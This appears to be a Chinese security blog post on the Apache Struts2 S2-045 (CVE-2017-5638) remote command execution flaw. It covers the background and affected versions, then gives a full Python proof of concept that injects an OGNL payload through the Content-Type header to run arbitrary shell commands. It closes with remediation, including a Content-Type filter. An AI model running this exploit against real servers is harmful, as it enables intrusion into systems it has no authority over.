Struts2远程命令执行漏洞

最新推荐文章于 2025-06-18 17:35:55 发布

原创最新推荐文章于 2025-06-18 17:35:55 发布 · 1.4w 阅读

10 ·

CC 4.0 BY-SA版权

漏洞专栏收录该内容

9 篇文章

订阅专栏

本文详细介绍了Apache Struts2的S2-045漏洞，该漏洞允许在使用Jakarta插件的文件上传时执行远程命令。影响范围包括Struts 2.3.5到2.3.31及2.5到2.5.10。危害包括系统被黑客入侵，建议通过禁用jakarta框架或添加拦截器等方式进行修复。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

Struts2远程命令执行漏洞

关于Struts

Struts是Apache基金会的一个开源项目，Struts通过采用Java Servlet/JSP技术，实现了基于Java EE Web应用的Model-View-Controller(MVC)设计模式的应用框架，是MVC经典设计模式中的一个经典产品。
目前，Struts框架广泛应用于政府、公安、交通、金融行业和运营商的网站建设，作为网站开发的底层模板使用，是应用最广泛的Web应用框架之一。

漏洞介绍

Apache Struts 2被曝存在远程命令执行漏洞，漏洞编号S2-045，CVE编号CVE-2017-5638，在使用基于Jakarta插件的文件上传功能时，有可能存在远程命令执行，导致系统被黑客入侵。
恶意用户可在上传文件时通过修改HTTP请求头中的Content-Type值来触发该漏洞，进而执行系统命令。

影响范围

Struts 2.3.5 – Struts 2.3.31 Struts 2.5 – Struts 2.5.10

快速测试方法

使用知道创宇SeeBug的照妖镜可以直接检测站点是否存在本漏洞
https://www.seebug.org/monster/?checker_id=19

漏洞危害

在default.properties文件中，struts.multipart.parser的值有两个选择，分别是jakarta和pell。其中的jakarta解析器是Struts 2框架的标准组成部分。默认情况下jakarta是启用的，所以该漏洞的严重性需要得到正视。
攻击者可通过远程命令注入执行，令系统执行恶意命令，导致被黑客入侵，从而威胁服务器安全，影响极大。

漏洞利用

poc代码：

# encoding:utf-8
import urllib2
import sys
from poster.encode import multipart_encode
from poster.streaminghttp import register_openers
def poc():
    if len(sys.argv) ＜ 3:
        print """Usage: poc.py http://172.16.12.2/example/HelloWorld.action "command""""
        sys.exit()
    register_openers()
    datagen, header = multipart_encode({"image": open("tmp.txt", "w+")})
    header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
    header["Content-Type"]="%{(#nike="multipart/form-data").(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context["com.opensymphony.xwork2.ActionContext.container"]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=""+str(sys.argv[2])+"").(#iswin=(@java.lang.System@getProperty("os.name").toLowerCase().contains("win"))).(#cmds=(#iswin?{"cmd.exe","/c",#cmd}:{"/bin/bash","-c",#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
    request = urllib2.Request(str(sys.argv[1]),datagen,headers=header)
    response = urllib2.urlopen(request)
    print response.read()
poc()

在该实验环境中为Python打包程序，poc.exe，使用该工具对目标地址进行测试：

打开cmd，切到poc.exe的目录下，执行下面命令：

poc.exe http://172.16.12.2/example/HelloWorld.action "ifconfig"

成功执行，证明漏洞存在，成功后可以尝试利用漏洞执行其他命令。

漏洞修复

禁用jakarta框架
- 在default.properties文件中修改配置，将struts.multipart.parser=jakarta修改为struts.multipart.parser=pell，相当于禁用了jakarta框架

添加action拦截器，过滤非法请求

拦截类SecurityFilter.java代码

    import java.io.IOException;
    import javax.servlet.Filter;
    import javax.servlet.FilterChain;
    import javax.servlet.FilterConfig;
    import javax.servlet.ServletException;
    import javax.servlet.ServletRequest;
    import javax.servlet.ServletResponse;
    import javax.servlet.http.HttpServlet;
    import javax.servlet.http.HttpServletRequest;
    import javax.servlet.http.HttpServletResponse;


    public class SecurityFilter extends HttpServlet implements Filter {

    /**
     * 
     */
    private static final long serialVersionUID = 1L;


    public final String www_url_encode= "application/x-www-form-urlencoded";
    public final String mul_data= "multipart/form-data ";
    public final String txt_pla= "text/plain";

    public void doFilter(ServletRequest arg0, ServletResponse arg1,
                    FilterChain arg2) throws IOException, ServletException {

            HttpServletRequest request = (HttpServletRequest) arg0;
            HttpServletResponse response = (HttpServletResponse) arg1;

            String contenType=request.getHeader("conTent-type");

            if(contenType!=null&&!contenType.equals("")&&!contenType.equalsIgnoreCase(www_url_encode)&&!contenType.equalsIgnoreCase(mul_data)&&!contenType.equalsIgnoreCase(txt_pla)){

                    response.setContentType("text/html;charset=UTF-8");
                    response.getWriter().write("非法请求Content-Type！");
                    return;
            }
            arg2.doFilter(request, response);
    }

    public void init(FilterConfig arg0) throws ServletException {

    }

}

将SecurityFilter.java文件编译为SecurityFilter.class，放入服务器路径为：/var/www/apache-tomcat-7.0.14/webapps/ROOT/WEB-INF/classes/

修改web.xml(/var/www/apache-tomcat-7.0.14/webapps/ROOT/WEB-INF/web.xml)使得添加的拦截器生效

添加代码：

＜filter>
    ＜filter-name>SecurityFilter＜/filter-name>
    ＜filter-class>SecurityFilter＜/filter-class>
  ＜/filter>
＜filter-mapping>
    ＜filter-name>SecurityFilter＜/filter-name>
    ＜url-pattern>/*＜/url-pattern>
＜/filter-mapping>